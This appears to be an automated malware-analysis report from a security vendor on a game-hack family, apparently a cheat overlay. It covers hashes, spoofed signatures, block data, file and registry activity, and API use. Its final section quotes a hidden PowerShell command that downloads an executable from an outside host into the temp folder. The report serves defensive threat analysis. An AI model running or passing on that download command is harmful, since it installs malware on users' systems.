PUP.Gamehack.GSO
Table of Contents
Analysis Report
General information
| Family Name: | PUP.Gamehack.GSO |
|---|---|
| Signature status: | Hash Mismatch |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
a7668609025ed001fad36544c0d4a50a
SHA1:
29f38e796e69b63b639bc1ca1fa28b87d34bdde5
SHA256:
75656681E5CF08D2AF0AD8F3A2BB88A8974C770D94F4BBD16B8DBD7975D2505A
File Size:
749.06 KB, 749056 bytes
|
|
MD5:
611362bc4aa194c52db4c95555d2b2b8
SHA1:
bfd624709a48b3ddfd1c99500c670323e60545f0
SHA256:
5502060679AB6453EE97C27A07D9BA559061DF4B934C89AD3AD7D201A5D001E6
File Size:
9.64 MB, 9637552 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show More
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Minkio Software |
| File Description | Game Overlay Renderer |
| File Version | 1.4.2.0 |
| Internal Name | MinkioOverlay |
| Legal Copyright | Copyright (C) 2025 Minkio Software |
| Original Filename | MinkioExternal.exe |
| Product Name | Minkio Overlay |
| Product Version | 1.4.2 |
Digital Signatures
Digital Signatures
This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.| Signer | Root | Status |
|---|---|---|
| Areeb Ahmed Code Signing LLC | Areeb Ahmed Code Signing LLC | Self Signed |
| Microsoft Corporation | Microsoft Code Signing PCA 2011 | Hash Mismatch |
| Microsoft Windows Software Compatibility Publisher | Microsoft Windows Third Party Component CA 2013 | Hash Mismatch |
File Traits
- dll
- HighEntropy
- imgui
- ntdll
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 22,702 |
|---|---|
| Potentially Malicious Blocks: | 1,611 |
| Whitelisted Blocks: | 17,442 |
| Unknown Blocks: | 3,649 |
Visual Map
0
0
?
?
?
?
0
0
0
0
0
0
0
0
?
0
x
?
?
x
0
0
?
0
0
0
?
?
?
0
0
0
0
0
?
?
?
0
0
?
?
?
?
?
0
?
0
?
0
0
?
0
?
0
?
0
?
?
0
0
0
?
?
?
0
0
0
?
0
?
?
?
?
?
?
?
0
?
?
?
?
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
x
x
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
0
0
0
x
0
0
x
?
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
?
0
0
0
0
0
0
?
0
?
?
0
?
?
?
?
?
?
?
?
?
x
0
0
0
0
?
x
0
0
0
?
0
0
?
x
?
?
0
?
?
?
0
?
?
?
0
0
0
?
?
x
x
0
0
0
?
0
0
?
?
0
0
?
?
?
0
0
0
?
?
0
?
?
?
0
?
?
?
0
0
0
?
?
?
x
?
?
?
?
?
?
0
0
?
0
0
?
x
0
?
?
?
?
x
0
0
0
0
0
x
0
x
0
?
x
0
0
x
x
0
0
0
0
x
0
0
x
0
?
0
0
0
0
0
x
0
x
0
0
x
?
0
x
0
x
x
0
0
0
0
0
0
0
0
?
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
x
0
x
0
0
0
0
0
x
0
0
0
x
0
?
0
x
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
x
0
0
0
0
0
0
0
0
0
0
x
0
?
0
?
?
0
?
0
0
?
0
0
0
?
?
?
0
0
0
0
?
0
?
x
0
?
0
0
0
0
?
0
0
0
0
?
0
0
?
?
?
?
0
?
0
?
0
?
?
?
?
?
?
?
0
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
x
0
0
0
0
0
0
0
?
?
?
?
0
0
?
0
?
?
?
?
0
?
0
0
?
?
0
0
0
?
0
?
?
?
0
0
0
?
0
?
?
?
0
?
?
?
0
0
?
?
?
?
?
?
x
0
0
?
0
0
?
0
?
0
0
0
0
0
?
0
0
0
?
?
?
0
0
?
?
0
?
?
0
?
?
0
0
?
?
0
?
?
?
?
?
?
0
?
?
0
0
?
0
?
0
0
0
0
?
0
?
?
0
?
0
?
0
0
?
0
0
?
0
?
?
?
0
0
0
0
0
0
0
0
?
0
?
?
0
0
?
0
?
?
?
?
0
?
?
0
0
0
0
0
0
?
?
0
0
0
?
0
?
?
?
0
0
0
0
x
0
x
0
?
0
0
0
0
?
0
0
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
?
0
0
?
x
x
0
0
?
?
?
0
0
0
0
?
0
?
x
x
x
?
0
0
?
?
?
0
?
?
x
?
0
?
0
?
?
0
0
0
0
0
0
0
0
x
0
0
0
0
0
?
0
0
?
0
?
?
?
?
?
?
0
0
?
0
?
?
0
0
0
0
0
?
0
?
?
0
?
?
0
?
?
?
0
0
?
0
0
?
0
?
?
0
0
0
0
0
0
0
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
x
0
x
0
0
0
0
x
x
0
0
?
0
0
?
0
0
?
0
0
?
0
?
?
?
x
?
?
?
x
0
0
0
0
0
0
0
0
0
0
0
?
0
0
?
?
0
0
0
0
0
0
0
0
?
0
?
0
?
0
0
?
0
0
x
0
0
0
?
0
0
?
0
0
?
?
0
0
0
?
0
0
?
0
0
x
0
x
0
?
?
?
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
x
0
0
0
x
0
0
0
x
0
0
x
x
x
0
x
0
0
0
0
0
x
0
0
0
0
0
0
0
?
?
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
?
x
x
0
0
0
x
0
0
0
?
0
0
?
0
0
?
?
0
?
0
0
x
?
?
?
0
0
0
0
?
?
?
?
0
?
?
?
?
0
x
0
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
0
0
0
?
?
0
?
?
0
0
0
x
0
x
x
x
0
0
0
?
0
?
?
0
0
0
0
?
0
0
0
0
?
0
0
0
?
0
0
0
0
x
0
0
0
x
x
0
?
?
?
0
?
?
?
0
0
?
?
?
?
?
0
?
?
?
0
?
0
0
?
?
?
?
?
0
0
?
0
?
0
?
0
0
?
?
0
0
?
?
?
x
x
0
0
0
x
0
0
0
?
0
?
0
0
0
0
x
0
x
?
0
x
0
x
0
x
0
?
0
0
?
0
0
0
0
?
?
0
?
?
0
?
?
0
0
0
?
?
?
?
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
0
?
0
?
0
0
?
0
?
0
?
?
?
0
0
0
?
?
?
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
0
?
x
0
0
x
0
0
0
?
0
0
0
0
x
?
0
0
0
0
0
?
x
?
?
0
0
0
x
0
0
0
?
?
0
0
0
x
0
0
0
?
0
0
?
?
?
0
0
?
0
0
?
0
0
?
0
?
0
0
x
?
?
0
0
x
x
?
?
0
?
0
0
0
0
0
?
?
?
?
0
0
0
0
x
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
?
?
?
?
0
x
0
x
0
0
0
0
0
x
0
0
0
0
0
?
0
0
0
?
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
x
?
x
x
0
0
0
x
0
0
0
0
0
?
x
?
0
?
0
?
0
0
x
0
0
0
x
0
0
0
?
?
x
0
0
0
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
x
0
0
?
x
0
0
0
x
0
0
0
?
?
?
?
0
0
0
?
0
0
?
0
0
?
0
0
0
0
0
0
0
0
0
x
0
0
0
x
0
0
0
0
0
0
0
0
x
0
x
x
x
0
0
0
0
0
0
0
0
x
0
0
0
0
x
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
?
?
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
x
0
0
0
0
?
0
0
0
x
0
0
x
0
0
0
0
0
x
x
0
0
x
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
?
?
?
?
0
?
0
?
0
0
0
0
0
0
x
0
0
0
0
?
x
x
x
0
0
0
0
0
x
0
0
0
0
0
0
x
x
0
x
0
x
0
x
0
x
0
0
0
0
0
x
x
0
0
0
?
0
0
0
0
?
?
0
0
0
0
0
?
0
?
0
0
0
0
0
0
0
0
?
0
?
?
?
0
x
?
0
?
?
?
?
?
?
?
0
x
x
?
0
?
0
?
0
?
0
0
0
0
x
0
0
0
?
x
0
?
0
0
0
0
0
?
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
x
0
x
0
0
0
0
0
x
0
0
x
0
0
?
x
0
0
x
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
x
0
0
x
x
0
...
Data truncated
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Gamehack.GSR
- RobloxHack.LE
- RobloxStealer.B
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\gmdasllogger | Generic Write,Read Attributes |
| \device\namedpipe\pshost.134232212191987039.5588.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_2hf4aavw.xmg.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_x4wcpang.hwm.psm1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 梀屧ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㣙岽ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 鬓岿ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
Show More
15 additional items are not displayed above. |
| Process Manipulation Evasion |
|
| Anti Debug |
|
| User Data Access |
|
| Process Shell Execute |
|
| Process Terminate |
|
| Encryption Used |
|
| Other Suspicious |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
|
